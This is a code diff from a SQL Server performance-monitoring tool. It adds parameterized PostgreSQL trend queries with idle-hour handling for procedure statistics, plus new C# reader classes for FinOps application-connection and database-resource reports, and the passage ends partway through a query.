+        const string match = "$4::text[] IS NULL OR database_name = ANY($4)";
+        var maxGap = CollectorDeltaCalculator.DefaultMaxGapSeconds;
+        var sums = withDatabaseFilter
+            ? $"COALESCE(SUM(delta_elapsed_time) FILTER (WHERE {match}), 0) / 1000.0 AS total_elapsed_ms,\n"
+              + $"        COALESCE(SUM(delta_execution_count) FILTER (WHERE {match}), 0) AS total_executions,\n"
+              + $"        COUNT(*) FILTER (WHERE {match}) AS matched_rows,"
+            : "SUM(delta_elapsed_time) / 1000.0 AS total_elapsed_ms,\n"
+              + "        SUM(delta_execution_count) AS total_executions,";
+        var matched = withDatabaseFilter ? ", matched_rows" : "";
+        var idleMatched = withDatabaseFilter ? ", CAST(0 AS bigint)" : "";
+
+        return $"""
+        stored AS
+        (
+            SELECT
+                collection_time,
+                {sums}
+                MAX(sample_interval_seconds) AS max_interval_seconds
+            FROM procedure_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2 - INTERVAL '{maxGap} seconds'
+            AND   collection_time <= $3
+            GROUP BY collection_time
+        ),
+        runs AS
+        (
+            SELECT
+                collection_time AS logged_at,
+                COALESCE(duration_ms, 0) AS duration_ms
+            FROM {PgSchemaGenerator.CollectSchema}.collection_log
+            WHERE server_id = $1
+            AND   collector_name = 'procedure_stats'
+            AND   status = 'SUCCESS'
+            AND   collection_time >= $2 - INTERVAL '{maxGap} seconds'
+            AND   collection_time <= $3 + INTERVAL '{maxGap} seconds'
+        ),
+        events AS
+        (
+            SELECT collection_time AS event_time, 0 AS is_run, CAST(0 AS bigint) AS duration_ms
+            FROM stored
+            UNION ALL
+            SELECT logged_at, 1, duration_ms
+            FROM runs
+        ),
+        sequenced AS
+        (
+            SELECT
+                event_time,
+                is_run,
+                duration_ms,
+                LAG(is_run) OVER (ORDER BY event_time, is_run) AS previous_is_run
+            FROM events
+        ),
+        points AS
+        (
+            SELECT collection_time, total_elapsed_ms, total_executions{matched}, max_interval_seconds, TRUE AS is_stored
+            FROM stored
+            UNION ALL
+            SELECT
+                q.event_time - q.duration_ms * INTERVAL '1 millisecond',
+                CAST(0 AS numeric),
+                CAST(0 AS numeric){idleMatched},
+                CAST(NULL AS bigint),
+                FALSE
+            FROM sequenced AS q
+            WHERE q.is_run = 1
+            AND   COALESCE(q.previous_is_run, 1) = 1
+        ),
+        gapped AS
+        (
+            SELECT
+                collection_time, total_elapsed_ms, total_executions{matched}, max_interval_seconds, is_stored,
+                extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (ORDER BY collection_time)))) AS gap_seconds
+            FROM points
+        ),
+        raw AS
+        (
+            SELECT
+                collection_time,
+                total_elapsed_ms,
+                total_executions,
+                -- #5449: a stored collection whose rows ALL carry interval 0 reads as a restart and stays unrated, its seconds out of
+                -- the bucket. This is the chosen three-state rule. It also catches a collection of only 0/0 rows (a quiet server whose
+                -- procedure returns at or past the 3600 s gap policy): SQL cannot tell that from a collector restart, so the minute is
+                -- unrated and counted in unrated_collections rather than rated 0.
+                CASE WHEN is_stored AND max_interval_seconds = 0 THEN NULL
+                     WHEN gap_seconds IS NOT NULL THEN CASE WHEN gap_seconds <= {maxGap} THEN gap_seconds END
+                     WHEN is_stored THEN NULLIF(max_interval_seconds, 0)
+                END AS interval_seconds{matched}
+            FROM gapped
+            WHERE collection_time >= $2
+            AND   collection_time <= $3
+        )
+        """;
+    }
 
     /// <summary>
-    /// The raw-tier duration trend BUCKETED (#3897): <see cref="BuildRawTrendSql"/>'s per-collection read — the same
-    /// CTE, the same three-state interval, the same no-ELSE rate arms — with every collection then counted in the
-    /// bucket of <c>$4</c> minutes its collection time falls in.
+    /// The raw-tier duration trend BUCKETED (#3897): the per-collection CTE (see <c>RawCollectionsCte</c>: the same
+    /// three-state interval, the same no-ELSE rate arms), with every collection then counted in the bucket of <c>$4</c>
+    /// minutes its collection time falls in.
     ///
     /// <para><b>A bucket's rate is its summed work over its summed seconds</b> — time-weighted, never an average of
     /// the per-collection rates, which would weight a 30-second collection the same as a 300-second one (fleet
@@ -288,7 +530,7 @@ GROUP BY collection_time
     /// <para><c>first_collection_time</c> is the bucket's first collection, rated or not, which is what
     /// <c>effective_start</c> reports: the point is stamped at its bucket's start (the first at the window's start,
     /// <c>GREATEST</c>), and a bucket start is not a collection the store held. With <paramref name="withDatabaseFilter"/>,
-    /// $4 is the viewer's guarded <c>text[]</c> database filter (#1319), mirroring <see cref="BuildRawTrendSql"/>, and
+    /// $4 is the viewer's guarded <c>text[]</c> database filter (#1319), and
     /// the bucket width moves to $5 so the filter's own numbering never shifts; every MCP caller passes <c>false</c>,
     /// so the text and its $4 width are exactly what #3897 always ran. <c>collection_count</c> (#4234) is
     /// <c>COUNT(*)</c> over the same population as <c>first_collection_time</c> — every collection in the bucket,
@@ -301,13 +543,21 @@ public static string BuildBucketedRawTrendSql(string rawTable, bool withDatabase
     {
         ArgumentException.ThrowIfNullOrWhiteSpace(rawTable);
 
-        var filter = withDatabaseFilter
-            ? "\n    AND   ($4::text[] IS NULL OR database_name = ANY($4))"
-            : "";
         var widthParam = withDatabaseFilter ? "$5" : "$4";
+        /* #5449: procedure_stats stores no row for a cycle in which nothing ran, so its collections are read through the
+           collector's runs (ProcedureCollectionsCte); every other table stores every cycle and reads its own rows. */
+        var collections = rawTable == "procedure_stats" ? ProcedureCollectionsCte(withDatabaseFilter) : RawCollectionsCte(rawTable, withDatabaseFilter);
+        /* #5414 M1: every bucket is read over EVERY collection in it. Round 2: whether the chosen databases had any
+           row at all is decided once, for the whole window (the tool's empty), and never per bucket: a bucket the
+           databases were quiet in is a measured 0 and a bucket the store covered, and dropping it made it read missing
+           and the window read truncated. */
+        var matchedColumn = withDatabaseFilter ? ",\n                    matched_rows" : "";
+        var windowHasRows = withDatabaseFilter
+            ? "\n            WHERE EXISTS (SELECT 1 FROM rated WHERE matched_rows > 0)"
+            : "";
 
         return $"""
-            WITH {RawCollectionsCte(rawTable, filter)},
+            WITH {collections},
             rated AS
             (
                 SELECT
@@ -316,7 +566,7 @@ rated AS
                     CASE WHEN interval_seconds > 0 THEN total_executions END AS rated_executions,
                     CASE WHEN interval_seconds > 0 THEN interval_seconds END AS rated_seconds,
                     CASE WHEN interval_seconds > 0 THEN total_elapsed_ms / interval_seconds END AS elapsed_ms_per_second,
-                    CASE WHEN interval_seconds > 0 THEN CAST(total_executions AS DOUBLE PRECISION) / interval_seconds END AS executions_per_second
+                    CASE WHEN interval_seconds > 0 THEN CAST(total_executions AS DOUBLE PRECISION) / interval_seconds END AS executions_per_second{matchedColumn}
                 FROM raw
             )
             SELECT
@@ -327,7 +577,7 @@ FROM raw
                 MIN(collection_time) AS first_collection_time,
                 COUNT(*) - COUNT(rated_seconds) AS unrated_collections,
                 COUNT(*) AS collection_count
-            FROM rated
+            FROM rated{windowHasRows}
             GROUP BY 1
             ORDER BY 1
             """;
@@ -344,54 +594,81 @@ ORDER BY 1
     /// so the peak on this tier is the bucket's busiest HOUR — the finest grain the rollup holds, and at 60 minutes
     /// the point's own rate; nor is any hour unrated, because its denominator is known. $1 server_id, $2/$3 window
     /// (naive UTC; $3 is EXCLUSIVE — a bucket is stamped at its START, so the hour that begins at $3 lies after
-    /// the window and is not read), $4 the bucket width in minutes.
+    /// the window and is not read), $4 the bucket width in minutes. With <paramref name="withDatabaseFilter"/> (#5244:
+    /// every hourly rollup and the interval successors group by <c>database_name</c>), $4 is the guarded
+    /// <c>text[]</c> database filter (<see cref="DatabaseFilter.Clause"/>'s shape) and the width moves to $5, as
+    /// <see cref="BuildBucketedRawTrendSql"/> does; off, the text is the one the MCP reader's constants pin.
+    /// With <paramref name="coverIdleHours"/> (#5449, the procedure rollups only) the hours <see cref="ProcedureIdleHoursSql"/> finds
+    /// (a SUCCESS run of the collector, no raw row) count as zero work, so a quiet hour is in the bucket's seconds as it is on a
+    /// store that kept the idle rows; off, the text is unchanged.
     /// </summary>
-    public static string BuildBucketedHourlyTrendSql(string hourlyView)
+    public static string BuildBucketedHourlyTrendSql(string hourlyView, bool withDatabaseFilter = false, bool coverIdleHours = false)
     {
         ArgumentException.ThrowIfNullOrWhiteSpace(hourlyView);
 
+        /* #5414 M1: the filter goes inside the aggregates, so an hour where the chosen databases had no rollup row
+           still counts (zero work) in the bucket's hour count; matched_rows decides empty, once for the whole window
+           (round 2: never per bucket, so a quiet bucket reads 0 and not missing). */
+        const string match = "$4::text[] IS NULL OR database_name = ANY($4)";
+        var sums = withDatabaseFilter
+            ? $"COALESCE(SUM(elapsed_time_sum) FILTER (WHERE {match}), 0) / 1000.0 AS elapsed_ms,\n"
+              + $"                    COALESCE(SUM(execution_count_sum) FILTER (WHERE {match}), 0) AS executions,\n"
+              + $"                    COUNT(*) FILTER (WHERE {match}) AS matched_rows"
+            : "SUM(elapsed_time_sum) / 1000.0 AS elapsed_ms,\n"
+              + "                    SUM(execution_count_sum) AS executions";
+        var windowHasRows = withDatabaseFilter
+            ? "\n            WHERE EXISTS (SELECT 1 FROM hourly WHERE matched_rows > 0)"
+            : "";
+        var widthParam = withDatabaseFilter ? "$5" : "$4";
+
+        /* #5449: procedure rollups hold no row for an hour in which no procedure worked, so the hours the bucket divides by (COUNT(*)
+           of the rollup's hours in it) leave out the idle ones and a wider bucket reads high where an older store, which kept the
+           idle rows, reads lower. ProcedureIdleHoursSql adds the hours a SUCCESS run of the collector falls in with no raw row in
+           them as zero work; an outage hour (no rollup row, no run) stays out of the bucket's seconds. */
+        var filled = coverIdleHours
+            ? $"""
+            ,
+            {ProcedureIdleHoursSql()},
+            filled AS
+            (
+                SELECT bucket, elapsed_ms, executions
+                FROM hourly
+                UNION ALL
+                SELECT idle_hours.bucket, 0, 0
+                FROM idle_hours
+                WHERE NOT EXISTS (SELECT 1 FROM hourly WHERE hourly.bucket = idle_hours.bucket)
+            )
+            """
+            : "";
+        var source = coverIdleHours ? "filled" : "hourly";
+
         return $"""
             WITH hourly AS
             (
                 SELECT
                     bucket,
-                    SUM(elapsed_time_sum) / 1000.0 AS elapsed_ms,
-                    SUM(execution_count_sum) AS executions
+                    {sums}
                 FROM {hourlyView}
                 WHERE server_id = $1
                 AND   bucket >= $2
                 AND   bucket < $3
                 GROUP BY bucket
-            )
+            ){filled}
             SELECT
-                GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', bucket, {TrendBucketSql.OriginSql}), $2) AS bucket_start,
+                GREATEST(date_bin(CAST({widthParam} AS integer) * INTERVAL '1 minute', bucket, {TrendBucketSql.OriginSql}), $2) AS bucket_start,
                 SUM(elapsed_ms) / (COUNT(*) * {HourlyBucketSecondsSql}) AS elapsed_ms_per_second,
                 CAST(SUM(executions) AS DOUBLE PRECISION) / (COUNT(*) * {HourlyBucketSecondsSql}) AS executions_per_second,
                 MAX(elapsed_ms / {HourlyBucketSecondsSql}) AS peak_elapsed_ms_per_second,
                 MIN(bucket) AS first_collection_time,
                 0 AS unrated_collections
-            FROM hourly
+            FROM {source}{windowHasRows}
             GROUP BY 1
             ORDER BY 1
             """;
     }
 
-    /// <summary>The query-stats raw trend — <see cref="BuildRawTrendSql"/> over <c>query_stats</c>. The
-    /// viewer's <c>QueryDurationTrendSql</c> is this text with the filter; the MCP reader's
-    /// <c>DarlingTrendReader.QueryDurationTrendSql</c> is this text without it, by alias since #3653 (it was
-    /// the LAG-only copy between #3695 and that alias; see the builder remarks).</summary>
-    public static string QueryDurationTrendRawSql(bool withDatabaseFilter)
-        => BuildRawTrendSql("query_stats", withDatabaseFilter);
-
-    /// <summary>The procedure-stats raw trend — <see cref="BuildRawTrendSql"/> over <c>procedure_stats</c>:
-    /// the V128 idiom the two procedure consts carried by hand, produced by the builder so a test could pin
-    /// that the builder IS that idiom before both consts became its aliases (#3653; the viewer's with the
-    /// filter, the MCP reader's without) — a provable no-op, because the pin passed first.</summary>
-    public static string ProcedureDurationTrendRawSql(bool withDatabaseFilter)
-        => BuildRawTrendSql("procedure_stats", withDatabaseFilter);
-
     /// <summary>The procedure-stats hourly trend — <see cref="BuildHourlyTrendSql"/> over
     /// <see cref="TimescaleSupport.ProcedureStatsHourlyView"/>.</summary>
     public static string ProcedureDurationTrendHourlySql(bool withDatabaseFilter)
-        => BuildHourlyTrendSql(TimescaleSupport.ProcedureStatsHourlyView, withDatabaseFilter);
+        => BuildHourlyTrendSql(TimescaleSupport.ProcedureStatsHourlyView, withDatabaseFilter, coverIdleHours: true);
 }
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsApplicationConnectionsReader.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsApplicationConnectionsReader.cs
new file mode 100644
index 0000000000..d2d1385cec
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsApplicationConnectionsReader.cs
@@ -0,0 +1,104 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>
+/// One application's connection counts and collected resource figures over the window. The times are naive UTC, as
+/// stored; the caller converts them for display.
+/// </summary>
+public sealed record ApplicationConnectionUsage(
+    string ApplicationName, int AvgConnections, int MaxConnections, int AvgRunning, int MaxRunning, int AvgSleeping,
+    int MaxSleeping, int AvgDormant, int MaxDormant, long AvgCpuTimeMs, long MaxCpuTimeMs, long AvgReads, long MaxReads,
+    long AvgWrites, long MaxWrites, long AvgLogicalReads, long MaxLogicalReads, long SampleCount,
+    DateTime FirstSeenUtc, DateTime LastSeenUtc);
+
+/// <summary>
+/// The FinOps Application Connections read, shared by the viewer and the service so there is one copy of the SQL.
+/// It returns naive-UTC records; the viewer keeps the clock and the display conversion.
+/// </summary>
+public static class DarlingFinOpsApplicationConnectionsReader
+{
+    /// <summary>
+    /// Per-application connection counts plus the collected per-app resource + session-status metrics from
+    /// session_stats (last 24h). AVG/MAX over the window for connection/running/sleeping/dormant counts and
+    /// CPU/reads/writes/logical-reads (the resource columns are nullable, so AVG/MAX yield NULL until populated).
+    /// $1 server_id, $2 cutoff.
+    /// </summary>
+    public const string ApplicationConnectionsSql = @"
+SELECT
+    program_name,
+    CAST(AVG(connection_count) AS INTEGER) AS avg_connections,
+    MAX(connection_count) AS max_connections,
+    CAST(AVG(running_count) AS INTEGER) AS avg_running,
+    MAX(running_count) AS max_running,
+    CAST(AVG(sleeping_count) AS INTEGER) AS avg_sleeping,
+    MAX(sleeping_count) AS max_sleeping,
+    CAST(AVG(dormant_count) AS INTEGER) AS avg_dormant,
+    MAX(dormant_count) AS max_dormant,
+    CAST(AVG(total_cpu_time_ms) AS BIGINT) AS avg_cpu_time_ms,
+    MAX(total_cpu_time_ms) AS max_cpu_time_ms,
+    CAST(AVG(total_reads) AS BIGINT) AS avg_reads,
+    MAX(total_reads) AS max_reads,
+    CAST(AVG(total_writes) AS BIGINT) AS avg_writes,
+    MAX(total_writes) AS max_writes,
+    CAST(AVG(total_logical_reads) AS BIGINT) AS avg_logical_reads,
+    MAX(total_logical_reads) AS max_logical_reads,
+    COUNT(*) AS sample_count,
+    MIN(collection_time) AS first_seen,
+    MAX(collection_time) AS last_seen
+FROM v_session_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+GROUP BY program_name
+ORDER BY max_connections DESC";
+
+    /// <summary>Reads the per-application connection figures since <paramref name="cutoffUtc"/> (naive UTC).</summary>
+    public static async Task<List<ApplicationConnectionUsage>> GetApplicationConnectionsAsync(
+        NpgsqlDataSource dataSource, int serverId, DateTime cutoffUtc, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        await using var command = dataSource.CreateCommand(ApplicationConnectionsSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoffUtc, DateTimeKind.Unspecified) });
+
+        var items = new List<ApplicationConnectionUsage>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(new ApplicationConnectionUsage(
+                ApplicationName: reader.IsDBNull(0) ? "" : reader.GetString(0),
+                AvgConnections: reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1)),
+                MaxConnections: reader.IsDBNull(2) ? 0 : Convert.ToInt32(reader.GetValue(2)),
+                AvgRunning: reader.IsDBNull(3) ? 0 : Convert.ToInt32(reader.GetValue(3)),
+                MaxRunning: reader.IsDBNull(4) ? 0 : Convert.ToInt32(reader.GetValue(4)),
+                AvgSleeping: reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5)),
+                MaxSleeping: reader.IsDBNull(6) ? 0 : Convert.ToInt32(reader.GetValue(6)),
+                AvgDormant: reader.IsDBNull(7) ? 0 : Convert.ToInt32(reader.GetValue(7)),
+                MaxDormant: reader.IsDBNull(8) ? 0 : Convert.ToInt32(reader.GetValue(8)),
+                AvgCpuTimeMs: reader.IsDBNull(9) ? 0L : Convert.ToInt64(reader.GetValue(9)),
+                MaxCpuTimeMs: reader.IsDBNull(10) ? 0L : Convert.ToInt64(reader.GetValue(10)),
+                AvgReads: reader.IsDBNull(11) ? 0L : Convert.ToInt64(reader.GetValue(11)),
+                MaxReads: reader.IsDBNull(12) ? 0L : Convert.ToInt64(reader.GetValue(12)),
+                AvgWrites: reader.IsDBNull(13) ? 0L : Convert.ToInt64(reader.GetValue(13)),
+                MaxWrites: reader.IsDBNull(14) ? 0L : Convert.ToInt64(reader.GetValue(14)),
+                AvgLogicalReads: reader.IsDBNull(15) ? 0L : Convert.ToInt64(reader.GetValue(15)),
+                MaxLogicalReads: reader.IsDBNull(16) ? 0L : Convert.ToInt64(reader.GetValue(16)),
+                SampleCount: reader.IsDBNull(17) ? 0 : Convert.ToInt64(reader.GetValue(17)),
+                FirstSeenUtc: reader.GetDateTime(18),
+                LastSeenUtc: reader.GetDateTime(19)));
+        }
+        return items;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsDatabaseResourcesReader.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsDatabaseResourcesReader.cs
new file mode 100644
index 0000000000..0a2f81a673
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsDatabaseResourcesReader.cs
@@ -0,0 +1,382 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>One database's resource usage over the window (CPU, reads, writes, I/O and their shares).</summary>
+public sealed record DatabaseResourceUsage(
+    string DatabaseName, long CpuTimeMs, long LogicalReads, long PhysicalReads, long LogicalWrites, long ExecutionCount,
+    decimal IoReadMb, decimal IoWriteMb, long IoStallMs, decimal PctCpuShare, decimal PctIoShare);
+
+/// <summary>One database in a top-consumer list. By-total rows carry CPU in <see cref="CpuTimeMs"/>; by-average rows
+/// carry the average CPU per execution there and the total in <see cref="TotalCpuTimeMs"/>.</summary>
+public sealed record TopResourceConsumer(
+    string DatabaseName, long CpuTimeMs, long ExecutionCount, decimal IoTotalMb, decimal PctCpu, decimal PctIo,
+    long TotalCpuTimeMs, decimal AvgIoMb);
+
+/// <summary>
+/// The FinOps Database Resources reads (per-database usage and the top consumers), shared by the viewer and the
+/// service so there is one copy of the SQL and of the retention-tier routing. The caller passes the rollup
+/// availability and coverage it probed and the window start it computed; this reader resolves the tier from
+/// them and reads the clock again when it does, exactly as the viewer did before the move.
+/// </summary>
+public static class DarlingFinOpsDatabaseResourcesReader
+{
+    /* ── #1661: retention-tier routing for the aggregate workload queries ───────────────────────────────
+       These sum additively over database_name, which is exactly what the rollups materialize, so routing
+       them is lossless. Each swap throws if it matches nothing, so editing the SQL without updating the
+       matching fragment fails loudly instead of silently leaving the panel on raw. */
+
+    /// <summary>The database-grain CTE in <see cref="DatabaseResourceUsageSql"/>, verbatim.</summary>
+    private const string WorkloadCteRaw = $"""
+        database_name,
+        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,
+        SUM(delta_logical_reads) AS logical_reads,
+        SUM(delta_physical_reads) AS physical_reads,
+        SUM(delta_logical_writes) AS logical_writes,
+        SUM(delta_execution_count) AS execution_count
+    FROM v_query_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   delta_worker_time IS NOT NULL
+    AND   {TimescaleSupport.IntervalHonestSourceFilter}
+    GROUP BY database_name
+""";
+
+    /// <summary>
+    /// The same CTE over the per-database rollup. This is the ONE reader that needs
+    /// <c>query_stats_db_hourly</c>: it sums the I/O columns, which the query-grain aggregate does not carry.
+    /// The rollup already applies the same <c>delta_worker_time IS NOT NULL</c> filter, so it is dropped here.
+    /// <paramref name="relationSql"/> is the FROM-clause item (#3653 A6): either <c>collect.&lt;relation&gt; AS f</c>
+    /// unchanged, or <see cref="RollupCoverage.StitchedRelationSql"/>'s stitched form when a successor applies —
+    /// either way the alias is <c>f</c>, so the rest of the CTE reads through it unqualified exactly as before.
+    /// </summary>
+    private static string WorkloadCteForCagg(string relationSql) => $"""
+        database_name,
+        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,
+        SUM(logical_reads_sum) AS logical_reads,
+        SUM(physical_reads_sum) AS physical_reads,
+        SUM(logical_writes_sum) AS logical_writes,
+        SUM(execution_count_sum) AS execution_count
+    FROM {relationSql}
+    WHERE server_id = $1
+    AND   bucket >= $2
+    GROUP BY database_name
+""";
+
+    /// <summary>The CPU/execution CTE shared by both top-consumer queries, verbatim.</summary>
+    private const string ConsumerCteRaw = $"""
+        database_name,
+        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,
+        SUM(delta_execution_count) AS execution_count
+    FROM v_query_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   delta_worker_time IS NOT NULL
+    AND   {TimescaleSupport.IntervalHonestSourceFilter}
+    GROUP BY database_name
+""";
+
+    /// <summary>
+    /// The same CTE over the QUERY-grain rollup — these two need only CPU and executions, both of which
+    /// <c>query_stats_hourly</c> already carries, so they route without the per-database aggregate.
+    /// <paramref name="relationSql"/> is the FROM-clause item (#3653 A6) — see <see cref="WorkloadCteForCagg"/>.
+    /// </summary>
+    private static string ConsumerCteForCagg(string relationSql) => $"""
+        database_name,
+        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,
+        SUM(execution_count_sum) AS execution_count
+    FROM {relationSql}
+    WHERE server_id = $1
+    AND   bucket >= $2
+    GROUP BY database_name
+""";
+
+    /// <summary>Database resource usage for <paramref name="tier"/>. Raw returns the constant untouched. The
+    /// one-argument form reads the legacy relation for that tier, unstitched (<see cref="RollupCoverage.Unknown"/>
+    /// carries <see cref="RollupAvailability.None"/>, so <see cref="RollupCoverage.StitchedRelationSql"/> names
+    /// the legacy alone — the same bytes as before #3653 A6 routed this through the builder); the callers below
+    /// pass the coverage/window they resolved so a successor can be stitched in instead.</summary>
+    public static string DatabaseResourceUsageSqlFor(RetentionTier tier) =>
+        DatabaseResourceUsageSqlFor(tier, RollupCoverage.Unknown, DateTime.MinValue);
+
+    /// <summary>
+    /// <see cref="DatabaseResourceUsageSqlFor(RetentionTier)"/> over the relation <paramref name="coverage"/>
+    /// resolves for <paramref name="windowStartUtc"/> (#3653 A6): <see cref="RollupCoverage.StitchedRelationSql"/>
+    /// stitches the legacy <c>query_stats_db_hourly</c>/<c>query_stats_db_daily</c> to its interval-honest
+    /// successor at the successor's floor (F for hourly, F_d for daily), or names the legacy alone where there is
+    /// no successor — the SAME single-relation text the one-argument overload builds, with an <c>AS f</c> alias
+    /// the stitch needs (harmless: neither CTE qualifies a column, so the alias changes no result). The tier
+    /// CHOICE stays on the legacy pair; only the relation within the chosen tier can stitch.
+    /// </summary>
+    public static string DatabaseResourceUsageSqlFor(RetentionTier tier, RollupCoverage coverage, DateTime windowStartUtc) =>
+        tier == RetentionTier.Raw
+            ? DatabaseResourceUsageSql
+            : FinOpsRollupRouting.RouteOrThrow(
+                DatabaseResourceUsageSql,
+                WorkloadCteRaw,
+                WorkloadCteForCagg(tier == RetentionTier.Hourly
+                    ? coverage.StitchedRelationSql(TimescaleSupport.QueryStatsDbHourlyView, "f", windowStartUtc, RollupCoverage.StitchTier.Hourly)
+                    : coverage.StitchedRelationSql(TimescaleSupport.QueryStatsDbDailyView, "f", windowStartUtc, RollupCoverage.StitchTier.Daily)),
+                "database resource usage");
+
+    /// <summary>Top consumers (by total AND by average — one statement, #4227) for <paramref name="tier"/>,
+    /// over the legacy relation for that tier, unstitched (see <see cref="DatabaseResourceUsageSqlFor(RetentionTier)"/>
+    /// for why routing this through the stitch builder with <see cref="RollupCoverage.Unknown"/> reproduces that).</summary>
+    public static string TopResourceConsumersSqlFor(RetentionTier tier) =>
+        TopResourceConsumersSqlFor(tier, RollupCoverage.Unknown, DateTime.MinValue);
+
+    /// <summary>Top consumers (by total and by average) over the stitched relation (#3653 A6) — see
+    /// <see cref="DatabaseResourceUsageSqlFor(RetentionTier, RollupCoverage, DateTime)"/>. The I/O side
+    /// (<c>v_file_io_stats</c>) has no rollup and is never routed, on either tier — unchanged from before #4227
+    /// merged the two statements.</summary>
+    public static string TopResourceConsumersSqlFor(RetentionTier tier, RollupCoverage coverage, DateTime windowStartUtc) =>
+        tier == RetentionTier.Raw
+            ? TopResourceConsumersSql
+            : FinOpsRollupRouting.RouteOrThrow(
+                TopResourceConsumersSql,
+                ConsumerCteRaw,
+                ConsumerCteForCagg(tier == RetentionTier.Hourly
+                    ? coverage.StitchedRelationSql(TimescaleSupport.QueryStatsHourlyView, "f", windowStartUtc, RollupCoverage.StitchTier.Hourly)
+                    : coverage.StitchedRelationSql(TimescaleSupport.QueryStatsDailyView, "f", windowStartUtc, RollupCoverage.StitchTier.Daily)),
+                "top consumers");
+
+    public const string DatabaseResourceUsageSql = $@"
+WITH workload AS (
+    SELECT
+        database_name,
+        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,
+        SUM(delta_logical_reads) AS logical_reads,
+        SUM(delta_physical_reads) AS physical_reads,
+        SUM(delta_logical_writes) AS logical_writes,
+        SUM(delta_execution_count) AS execution_count
+    FROM v_query_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   delta_worker_time IS NOT NULL
+    AND   {TimescaleSupport.IntervalHonestSourceFilter}
+    GROUP BY database_name
+),
+io AS (
+    SELECT
+        database_name,
+        SUM(delta_read_bytes) / 1048576.0 AS io_read_mb,
+        SUM(delta_write_bytes) / 1048576.0 AS io_write_mb,
+        SUM(delta_stall_read_ms + delta_stall_write_ms) AS io_stall_ms
+    FROM v_file_io_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   delta_read_bytes IS NOT NULL
+    GROUP BY database_name
+),
+combined AS (
+    SELECT
+        COALESCE(w.database_name, i.database_name) AS database_name,
+        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,
+        COALESCE(w.logical_reads, 0) AS logical_reads,
+        COALESCE(w.physical_reads, 0) AS physical_reads,
+        COALESCE(w.logical_writes, 0) AS logical_writes,
+        COALESCE(w.execution_count, 0) AS execution_count,
+        COALESCE(i.io_read_mb, 0) AS io_read_mb,
+        COALESCE(i.io_write_mb, 0) AS io_write_mb,
+        COALESCE(i.io_stall_ms, 0) AS io_stall_ms
+    FROM workload w
+    FULL JOIN io i ON i.database_name = w.database_name
+),
+totals AS (
+    SELECT
+        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,
+        NULLIF(SUM(io_read_mb + io_write_mb), 0) AS total_io
+    FROM combined
+)
+SELECT
+    c.database_name,
+    c.cpu_time_ms,
+    c.logical_reads,
+    c.physical_reads,
+    c.logical_writes,
+    c.execution_count,
+    CAST(c.io_read_mb AS DECIMAL(19,2)),
+    CAST(c.io_write_mb AS DECIMAL(19,2)),
+    c.io_stall_ms,
+    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)) AS pct_cpu_share,
+    CAST((c.io_read_mb + c.io_write_mb) * 100.0 / t.total_io AS DECIMAL(5,2)) AS pct_io_share
+FROM combined c
+CROSS JOIN totals t
+WHERE c.database_name IS NOT NULL
+ORDER BY c.cpu_time_ms DESC";
+
+    /// <summary>
+    /// Top databases by total CPU AND by average CPU per execution for the Utilization summary — ONE pass
+    /// over query_stats/file_io_stats feeding BOTH grids (#4227; the two statements this replaced each
+    /// aggregated the same 24h of raw query_stats independently, ~27k buffers apiece). $1 server_id, $2 cutoff.
+    /// Returns every database with a workload or an I/O row in the window, not just the topN of either
+    /// ordering — <see cref="GetTopResourceConsumersAsync"/> ranks and slices both grids from this one row set,
+    /// since a single statement can only LIMIT one ordering and the two grids rank by different columns.
+    ///
+    /// <para>Deliberately does NOT filter out a NULL database_name (an unattributed query_stats row) here.
+    /// The old ByTotal statement did (<c>WHERE c.database_name IS NOT NULL</c>); the old ByAvg statement never
+    /// did. Baking either rule in would apply it to both grids, so the NULL-name filter is applied client-side,
+    /// per grid, in <see cref="GetTopResourceConsumersAsync"/> instead.</para>
+    /// </summary>
+    public const string TopResourceConsumersSql = $@"
+WITH workload AS (
+    SELECT
+        database_name,
